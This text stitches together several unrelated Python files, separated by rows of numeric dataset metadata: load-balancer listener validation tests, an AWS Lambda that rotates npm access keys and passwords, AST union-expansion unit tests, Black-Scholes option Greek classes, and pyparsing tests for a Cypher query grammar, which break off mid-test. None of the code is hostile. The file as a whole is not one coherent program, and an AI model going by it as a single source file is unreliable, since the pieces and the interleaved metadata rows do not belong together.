assert e.value.error.code == 'InvalidOption'
assert e.value.error.fieldName == 'targetProtocol'
def test_lb_listener_port_validation(admin_client):
# test maximum limit for source port
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='65536',
targetPort='80',
sourceProtocol='http',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'MaxLimitExceeded'
assert e.value.error.fieldName == 'sourcePort'
# test maximum limit for target port
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='80',
targetPort='65537',
sourceProtocol='http',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'MaxLimitExceeded'
assert e.value.error.fieldName == 'targetPort'
# test minimum limit for source port
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='0',
targetPort='80',
sourceProtocol='http',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'MinLimitExceeded'
assert e.value.error.fieldName == 'sourcePort'
# test minimum limit for target port
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='80',
targetPort='-1',
sourceProtocol='http',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'MinLimitExceeded'
assert e.value.error.fieldName == 'targetPort'
def test_lb_listener_delete(admin_client):
listener = admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='8080',
targetPort='80',
sourceProtocol='http',
targetProtocol='http')
listener = admin_client.wait_success(listener)
listener = admin_client.wait_success(admin_client.delete(listener))
assert listener.state == 'removed'
def test_lb_listener_update(admin_client):
listener = admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='8080',
targetPort='80',
sourceProtocol='http',
targetProtocol='http')
listener = admin_client.wait_success(listener)
listener = admin_client.update(listener, name='newName')
assert listener.name == 'newName'
def test_lb_listener_create_wo_src_port(admin_client):
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
targetPort='80',
sourceProtocol='http',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'MissingRequired'
assert e.value.error.fieldName == 'sourcePort'
def test_lb_listener_create_wo_src_protocol(admin_client):
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='80',
targetPort='80',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'MissingRequired'
assert e.value.error.fieldName == 'sourceProtocol'
def test_lb_listener_create_wo_target_portprotocol(admin_client):
listener = admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='80',
sourceProtocol='tcp')
listener = admin_client.wait_success(listener)
assert listener.state == 'active'
assert listener.targetPort == 80
assert listener.targetProtocol == 'tcp'
| 45.219512
| 78
| 0.503236
| 593
| 7,416
| 6.11973
| 0.118044
| 0.090934
| 0.079361
| 0.112428
| 0.847341
| 0.837972
| 0.807385
| 0.784238
| 0.756682
| 0.756682
| 0
| 0.021336
| 0.418554
| 7,416
| 163
| 79
| 45.496933
| 0.820269
| 0.02616
| 0
| 0.762295
| 0
| 0
| 0.058636
| 0
| 0
| 0
| 0
| 0
| 0.295082
| 1
| 0.07377
| false
| 0
| 0.016393
| 0
| 0.090164
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
48406ccf74f8284cb2c26509fb560ef0ceeed12f
| 2,114
|
py
|
Python
|
src/credentials_rotators/npm/lambda_functions/rotation_handlers.py
|
jhockett/amplify-ci-support
|
3d93278063762fe5c8a9241a6fe4d593b70dd6eb
|
[
"Apache-2.0"
] | 9
|
2020-06-09T21:59:02.000Z
|
2021-06-27T07:15:18.000Z
|
src/credentials_rotators/npm/lambda_functions/rotation_handlers.py
|
jhockett/amplify-ci-support
|
3d93278063762fe5c8a9241a6fe4d593b70dd6eb
|
[
"Apache-2.0"
] | 27
|
2020-05-06T13:48:06.000Z
|
2022-02-14T10:10:33.000Z
|
src/credentials_rotators/npm/lambda_functions/rotation_handlers.py
|
jhockett/amplify-ci-support
|
3d93278063762fe5c8a9241a6fe4d593b70dd6eb
|
[
"Apache-2.0"
] | 12
|
2020-05-15T11:51:41.000Z
|
2022-02-11T18:07:15.000Z
|
from user_access_token_rotator import UserAccessTokenRotator
from user_login_password_rotator import UserLoginPasswordRotator
def rotate_access_keys(event, context):
""" Handler for lambda that rotates the npm user's access keys
Args:
event (dict): Lambda dictionary of event parameters. These keys must include the following:
- SecretId: The secret ARN or identifier
- ClientRequestToken: The ClientRequestToken of the secret version
- Step: The rotation step (one of createSecret, setSecret, testSecret, or finishSecret)
context (LambdaContext): The Lambda runtime information
Raises:
ResourceNotFoundException: If the secret with the specified arn and stage does not exist
ValueError: If the secret is not properly configured for rotation
KeyError: If the event parameters do not contain the expected keys
"""
arn = event['SecretId']
token = event['ClientRequestToken']
step = event['Step']
user_access_token_rotator = UserAccessTokenRotator(arn, token, step)
user_access_token_rotator.rotate()
def rotate_login_password(event, context):
""" Handler for lambda that rotates the npm user's login password
Args:
event (dict): Lambda dictionary of event parameters. These keys must include the following:
- SecretId: The secret ARN or identifier
- ClientRequestToken: The ClientRequestToken of the secret version
- Step: The rotation step (one of createSecret, setSecret, testSecret, or finishSecret)
context (LambdaContext): The Lambda runtime information
Raises:
ResourceNotFoundException: If the secret with the specified arn and stage does not exist
ValueError: If the secret is not properly configured for rotation
KeyError: If the event parameters do not contain the expected keys
"""
arn = event['SecretId']
token = event['ClientRequestToken']
step = event['Step']
user_login_password_rotator = UserLoginPasswordRotator(arn, token, step)
user_login_password_rotator.rotate()
| 45.956522
| 99
| 0.725639
| 250
| 2,114
| 6.048
| 0.268
| 0.047619
| 0.029101
| 0.043651
| 0.834656
| 0.77381
| 0.77381
| 0.77381
| 0.77381
| 0.77381
| 0
| 0
| 0.219489
| 2,114
| 45
| 100
| 46.977778
| 0.916364
| 0.647114
| 0
| 0.428571
| 0
| 0
| 0.093458
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0.285714
| 0.142857
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
6fd506abb01180bb62093994e015492a6b3b0bab
| 6,353
|
py
|
Python
|
regular_language/unit_tests/test_ast_AST_replace_finite_repeat_with_union.py
|
ShoYamanishi/nlpregex
|
795b36d5a2fad8bc25264b2093ffa9c3723b282b
|
[
"MIT"
] | 1
|
2021-12-03T07:20:18.000Z
|
2021-12-03T07:20:18.000Z
|
regular_language/unit_tests/test_ast_AST_replace_finite_repeat_with_union.py
|
ShoYamanishi/nlpregex
|
795b36d5a2fad8bc25264b2093ffa9c3723b282b
|
[
"MIT"
] | null | null | null |
regular_language/unit_tests/test_ast_AST_replace_finite_repeat_with_union.py
|
ShoYamanishi/nlpregex
|
795b36d5a2fad8bc25264b2093ffa9c3723b282b
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Unit Tests for ast.AST.replace_finite_repeat_with_union() """
import unittest
import nlpregex.regular_language.ast
from nlpregex.regular_language.unit_tests.test_ast_helper import test_AST_helper
class test_ast_AST_replace_finite_repeat_with_union( unittest.TestCase ):
def __init__( self, *args, **kwargs ):
unittest.TestCase.__init__(self, *args, **kwargs)
self.helper = test_AST_helper()
def construct_ast_from_spec( self, spec01 ):
return self.helper.construct_ast_from_spec(spec01)
def display_tree( self, ast01 ):
return self.helper.display_tree(ast01)
def compare_specs( self, spec01, spec02 ):
return self.helper.compare_specs( spec01, spec02 )
def test_0001(self):
spec01 = ''
spec_expected_01 = ''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0001a(self):
spec01 = 'T_001'
spec_expected_01 = 'T_001'
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0002(self):
spec01 = 'E_001'
spec_expected_01 = ''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0003(self):
spec01 = '?_001:T_001'
spec_expected_01 = '?_001:T_001'
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0004(self):
spec01 = '''
{0,2}_001:T_002
'''
spec_expected_01 = '''
?_001:|_???
|_???:T_002 S_???
S_???:T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0004(self):
spec01 = '''
{0,3}_001:T_002
'''
spec_expected_01 = '''
?_001:|_???
|_???:T_002 S_??? S_???
S_???:T_002 T_002
S_???:T_002 T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0005(self):
spec01 = '''
{1,2}_001:T_002
'''
spec_expected_01 = '''
|_???:T_002 S_???
S_???:T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0006(self):
spec01 = '''
{1,3}_001:T_002
'''
spec_expected_01 = '''
|_???:T_002 S_??? S_???
S_???:T_002 T_002
S_???:T_002 T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0007(self):
spec01 = '''
{0,0}_001:T_002
'''
spec_expected_01 = '''
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0008(self):
spec01 = '''
?_001:T_002
'''
spec_expected_01 = '''
?_001:T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0009(self):
spec01 = '''
{2,2}_001:T_002
'''
spec_expected_01 = '''
S_???:T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0010(self):
spec01 = '''
{5,5}_001:T_002
'''
spec_expected_01 = '''
S_???:T_002 T_002 T_002 T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
def test_0011(self):
spec01 = '''
{3,6}_001:T_002
'''
spec_expected_01 = '''
|_???:S_??? S_??? S_??? S_???
S_???:T_002 T_002 T_002
S_???:T_002 T_002 T_002 T_002
S_???:T_002 T_002 T_002 T_002 T_002
S_???:T_002 T_002 T_002 T_002 T_002 T_002
'''
ast01 = self.construct_ast_from_spec(spec01)
ast01.replace_finite_repeat_with_union()
spec02 = self.display_tree(ast01)
self.assertEqual( self.compare_specs(spec_expected_01, spec02), True )
if __name__ == '__main__':
unittest.main()
| 27.034043
| 82
| 0.563356
| 744
| 6,353
| 4.36828
| 0.09543
| 0.065231
| 0.041538
| 0.066462
| 0.806154
| 0.786154
| 0.784
| 0.753846
| 0.753846
| 0.746462
| 0
| 0.125646
| 0.329765
| 6,353
| 234
| 83
| 27.149573
| 0.637623
| 0.015898
| 0
| 0.718954
| 0
| 0
| 0.191681
| 0
| 0
| 0
| 0
| 0
| 0.084967
| 1
| 0.111111
| false
| 0
| 0.019608
| 0.019608
| 0.156863
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6fe6556b0464764620a31681f0c74670975d005e
| 3,335
|
py
|
Python
|
02_src/classes/options/Vanilla.py
|
Hejinzefinance/Backtest_Simulation_of_Dynamic_Hedge
|
529c6c5dcc10dbee4aa28b6db4949efc57f0992a
|
[
"MIT"
] | null | null | null |
02_src/classes/options/Vanilla.py
|
Hejinzefinance/Backtest_Simulation_of_Dynamic_Hedge
|
529c6c5dcc10dbee4aa28b6db4949efc57f0992a
|
[
"MIT"
] | null | null | null |
02_src/classes/options/Vanilla.py
|
Hejinzefinance/Backtest_Simulation_of_Dynamic_Hedge
|
529c6c5dcc10dbee4aa28b6db4949efc57f0992a
|
[
"MIT"
] | null | null | null |
from .OptionBase import OptionBase
import pandas as pd
import numpy as np
from scipy import stats as st
class VanillaCall(OptionBase):
def __init__(self):
super().__init__()
def calculate_greeks(self):
self.calculate_basic_paras()
self.greek_df.loc[:, 'delta'] = self.greek_df.loc[:, 'Nd1']
self.greek_df.loc[:, 'gamma'] = self.greek_df.loc[:, 'nd1']/self.greek_df.loc[:, 'stock_price']/self.greek_df.loc[:, 'sigma_T']
self.greek_df.loc[:, 'option_price'] = self.greek_df.loc[:, 'stock_price']*self.greek_df.loc[:, 'Nd1']-self.K*np.exp(-self.r*self.greek_df.loc[:, 'left_times'])*self.greek_df.loc[:, 'Nd2']
self.greek_df.loc[:, 'cash_delta'] = self.greek_df.loc[:, 'delta']*self.greek_df.loc[:, 'stock_price']*self.notional/self.start_price
self.greek_df.loc[:, 'cash_gamma'] = self.greek_df.loc[:, 'gamma']*np.power(self.greek_df.loc[:, 'stock_price'],2)*self.notional/self.start_price/100
# self.greek_df.loc[:, 'pos_vega'] = self.greek_df.loc[:, 'vega']*self.notional/self.start_price
# self.greek_df.loc[:, 'cash_theta'] = self.greek_df.loc[:, 'theta']/252*self.notional/self.start_price
# self.greek_df.loc[:, 'vega'] = self.greek_df.loc[:, 'nd1']*self.greek_df.loc[:, 'stock_price']*np.sqrt(self.greek_df.loc[:, 'left_times'])
# self.greek_df.loc[:, 'theta'] = -self.greek_df.loc[:, 'stock_price']*self.greek_df.loc[:, 'nd1']*self.greek_df.loc[:,'sigma']/2/np.sqrt(self.greek_df.loc[:, 'left_times'])-self.r*self.K*np.exp(-self.r*self.greek_df.loc[:, 'left_times'])*self.greek_df.loc[:, 'Nd2']
self.greek_df.loc[:, 'option_value'] = self.greek_df.loc[:, 'option_price']*self.notional/self.start_price
class VanillaPut(OptionBase):
def __init__(self):
super().__init__()
def calculate_greeks(self):
self.calculate_basic_paras()
self.greek_df.loc[:, 'delta'] = self.greek_df.loc[:, 'Nd1']-1
self.greek_df.loc[:, 'gamma'] = self.greek_df.loc[:, 'nd1']/self.greek_df.loc[:, 'stock_price']/self.greek_df.loc[:, 'sigma_T']
self.greek_df.loc[:, 'option_price'] = self.greek_df.loc[:, 'stock_price']*(self.greek_df.loc[:, 'Nd1']-1)-self.K*np.exp(-self.r*self.greek_df.loc[:, 'left_times'])*(self.greek_df.loc[:, 'Nd2']-1)
self.greek_df.loc[:, 'cash_delta'] = self.greek_df.loc[:, 'delta']*self.greek_df.loc[:, 'stock_price']*self.notional/self.start_price
self.greek_df.loc[:, 'cash_gamma'] = self.greek_df.loc[:, 'gamma']*np.power(self.greek_df.loc[:, 'stock_price'],2)*self.notional/self.start_price/100
# self.greek_df.loc[:, 'pos_vega'] = self.greek_df.loc[:, 'vega']*self.notional/self.start_price
# self.greek_df.loc[:, 'cash_theta'] = self.greek_df.loc[:, 'theta']/252*self.notional/self.start_price
# self.greek_df.loc[:, 'vega'] = self.greek_df.loc[:, 'nd1']*self.greek_df.loc[:, 'stock_price']*np.sqrt(self.greek_df.loc[:, 'left_times'])
# self.greek_df.loc[:, 'theta'] = -self.greek_df.loc[:, 'stock_price']*self.greek_df.loc[:, 'nd1']*self.greek_df.loc[:,'sigma']/2/np.sqrt(self.greek_df.loc[:, 'left_times'])-self.r*self.K*np.exp(-self.r*self.greek_df.loc[:, 'left_times'])*(self.greek_df.loc[:, 'Nd2']-1)
self.greek_df.loc[:, 'option_value'] = self.greek_df.loc[:, 'option_price']*self.notional/self.start_price
| 90.135135
| 278
| 0.662069
| 528
| 3,335
| 3.924242
| 0.098485
| 0.295367
| 0.361004
| 0.459459
| 0.944015
| 0.944015
| 0.944015
| 0.94305
| 0.94305
| 0.94305
| 0
| 0.011498
| 0.113343
| 3,335
| 37
| 279
| 90.135135
| 0.689212
| 0.361319
| 0
| 0.615385
| 0
| 0
| 0.140434
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.153846
| false
| 0
| 0.153846
| 0
| 0.384615
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
6ff3617f19f54eef85f04a02093c92abcdf1e534
| 40,291
|
py
|
Python
|
ro/naive_tests.py
|
davebshow/cypher-ro
|
a666fb45a0d6ed93347b55acc51370ccf15a6d6f
|
[
"MIT"
] | null | null | null |
ro/naive_tests.py
|
davebshow/cypher-ro
|
a666fb45a0d6ed93347b55acc51370ccf15a6d6f
|
[
"MIT"
] | null | null | null |
ro/naive_tests.py
|
davebshow/cypher-ro
|
a666fb45a0d6ed93347b55acc51370ccf15a6d6f
|
[
"MIT"
] | null | null | null |
import unittest
from pyparsing import ParseException, stringEnd
from grammar import (node, edge_content, undir_edge, edge, traversal_pattern,
match_stmt, where_stmt, count_fn, sum_fn, disc_per_fn, std_dev_fn,
with_stmt, order_stmt, limit_stmt, skip_stmt, return_stmt)
class CypherRO(unittest.TestCase):
def setUp(self):
# Traversal pattern matches recursively with ZeroOrMore, therefore
# we need string end to test in an isolated environment.
self.edge_content = edge_content + stringEnd
self.match_stmt = match_stmt + stringEnd
self.where_stmt = where_stmt + stringEnd
self.with_stmt = with_stmt + stringEnd
self.order_stmt = order_stmt + stringEnd
self.limit_stmt = limit_stmt + stringEnd
self.skip_stmt = skip_stmt + stringEnd
self.return_stmt = return_stmt + stringEnd
def test_node(self):
# Legal nodes
empty = "()"
try:
node.parseString(empty)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
alias = "(p)"
try:
node.parseString(alias)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
label = "(p:Person)"
try:
node.parseString(label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_label = "(p:Person:Place)"
try:
node.parseString(multi_label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_multi_label = "(:Person:Place)"
try:
node.parseString(simple_multi_label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
props = "(p {name: 'dave'})"
try:
node.parseString(props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_label_props = "(p:Person:Place {name: 'dave'})"
try:
node.parseString(multi_label_props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_props = "(p {name: 'dave', age: 34})"
try:
node.parseString(multi_props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
label_props = "(p:Person {name: 'dave', age: 34})"
try:
node.parseString(label_props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
# Illegal nodes
bad_alias = "(p"
try:
node.parseString(bad_alias)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multi_label = "(p:Person Place)"
try:
node.parseString(bad_multi_label)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_props = "(p {name: 'dave })"
try:
node.parseString(bad_props)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multi_props = "(p {name: 'dave' age: 34})"
try:
node.parseString(bad_multi_props)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_label_props = "(p:Person {name: 'dave', age: 34)"
try:
node.parseString(bad_label_props)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_edge_meta(self):
edge_content = self.edge_content
empty = "[]"
try:
edge_content.parseString(empty)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
alias = "[k]"
try:
edge_content.parseString(alias)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
label = "[k:KNOWS]"
try:
edge_content.parseString(label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
card = "[*]"
try:
edge_content.parseString(label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
label_card = "[k:KNOWS*1..5]"
try:
edge_content.parseString(label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_label = "[k:KNOWS:WORKS_WITH]"
try:
edge_content.parseString(multi_label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_multi_label = "[:KNOWS:WORKS_WITH]"
try:
edge_content.parseString(simple_multi_label)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
props = "[k {from: 'school'}]"
try:
edge_content.parseString(props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_multi_label_props = "[:KNOWS:WORKS_WITH {how_long: 10}]"
try:
edge_content.parseString(simple_multi_label_props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_props = "[k {from: 'school', how_long: 10}]"
try:
edge_content.parseString(multi_props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
label_props = "[k:KNOWS {from: 'school', how_long: 10}]"
try:
edge_content.parseString(label_props)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
# Illegal edge meta
bad_alias = "[k"
try:
edge_content.parseString(bad_alias)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_multi_label = "[:KNOWS WORKS_WITH]"
try:
edge_content.parseString(bad_simple_multi_label)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_props = "[k {from: 'school }]"
try:
edge_content.parseString(bad_props)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multi_props = "[k {from: 'school' how_long: 10}]"
try:
edge_content.parseString(bad_multi_props)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_label_props = "[k:KNOWS {from: 'school', how_long: 10]"
try:
edge_content.parseString(bad_label_props)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_undir_edge(self):
simple = "--"
try:
undir_edge.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_meta = "-[:KNOWS]-"
try:
undir_edge.parseString(simple_meta)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple_meta = "[:KNOWS]-"
try:
undir_edge.parseString(bad_simple_meta)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_out_meta = "-:KNOWS]-"
try:
undir_edge.parseString(bad_out_meta)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_edge(self):
simple = "--"
try:
edge.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
out_edge = "-->"
try:
edge.parseString(out_edge)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
in_edge = "<--"
try:
edge.parseString(in_edge)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_meta = "-[:KNOWS]-"
try:
edge.parseString(simple_meta)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
out_meta = "-[:KNOWS]->"
try:
edge.parseString(out_meta)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
in_meta = "<-[:KNOWS]-"
try:
edge.parseString(in_meta)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_out_edge = "->"
try:
edge.parseString(bad_out_edge)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_in_edge = "<-"
try:
edge.parseString(bad_in_edge)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_meta = "[:KNOWS]-"
try:
edge.parseString(bad_simple_meta)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_out_meta = "-[:KNOWS]>"
try:
edge.parseString(bad_out_meta)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_out_meta2 = "-:KNOWS]->"
try:
edge.parseString(bad_out_meta2)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_match(self):
match_stmt = self.match_stmt
one_node = "MATCH (n:Node)"
try:
match_stmt.parseString(one_node)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
labels = "OPTIONAL MATCH (n:Person)--(m:Place)"
try:
match_stmt.parseString(labels)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multiple = "MATCH (n:Person)-[:LIVED_IN]-(m:Place), (j:Job)"
try:
match_stmt.parseString(labels)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
match_path = "MATCH path = (n)-->(m)"
try:
match_stmt.parseString(labels)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
full_labels = "MATCH (n:Person)-[:BORN_IN]-(m:Place)"
try:
match_stmt.parseString(full_labels)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
long_full_labels = "OPTIONAL MATCH (n:Person)-[:BORN_IN]-(m:Place)-[:LIVED_IN]-(m:Person)"
try:
match_stmt.parseString(long_full_labels)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
long_full_labels_dir = "MATCH (n:Person)-[:BORN_IN]->(m:Place)<-[:LIVED_IN]-(m:Person)"
try:
match_stmt.parseString(long_full_labels_dir)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
full_labels_out = "OPTIONAL MATCH (n:Person)-[:BORN_IN]->(m:Place)"
try:
match_stmt.parseString(full_labels_out)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
full_labels_in = "MATCH (n:Person)<-[:BORN_IN]-(m:Place)"
try:
match_stmt.parseString(full_labels_in)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
full_attrs = "OPTIONAL MATCH (n:Person {name: 'Dave'})-[k:LIVED_IN]-(m:Place {name: 'Iowa City'})"
try:
match_stmt.parseString(full_attrs)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "MATCH (n:Node)---(m)"
try:
match_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_one_node = "OPTIONAL MATCH(n:Node"
try:
match_stmt.parseString(bad_one_node)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multiple = "MATCH (n:Person)-[:LIVED_IN]-(m:Place) (j:Job)"
try:
match_stmt.parseString(bad_multiple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_labels = "MATCH (n:Person--(m:Place)"
try:
match_stmt.parseString(bad_labels)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_full_labels = "OPTIONAL MATCH (n:Person)-:BORN_IN]-(m:Place)"
try:
match_stmt.parseString(bad_full_labels)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_full_labels_out = "MATCH (n:Person)<-[:BORN_IN]->(m:Place)"
try:
match_stmt.parseString(bad_full_labels_out)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_full_labels_in = "OPTIONAL MATCH (n:Person)<[:BORN_IN]-(m:Place)"
try:
match_stmt.parseString(bad_full_labels_in)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_kwrd = "MATC (n:Person)-[:BORN_IN]->(m:Place)<-[:LIVED_IN]-(m:Person)"
try:
match_stmt.parseString(bad_kwrd)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_opt_kwrd = "OPTIONA MATCH (n:Person)-[:BORN_IN]->(m:Place)<-[:LIVED_IN]-(m:Person)"
try:
match_stmt.parseString(bad_opt_kwrd)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_where(self):
where_stmt = self.where_stmt
simple = "WHERE n.name = 'David'"
try:
where_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_and = "WHERE n.name = 'David' AND n.age=34"
try:
where_stmt.parseString(where_and)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_path = "WHERE n.name = 'David' AND (n)-->(m)"
try:
where_stmt.parseString(where_and)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_or = "WHERE n.name = 'David' OR n.age=34"
try:
where_stmt.parseString(where_or)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_and_not = "WHERE n.name = 'David' AND NOT n.age=34"
try:
where_stmt.parseString(where_and_not)
accepted = True
except ParseException:
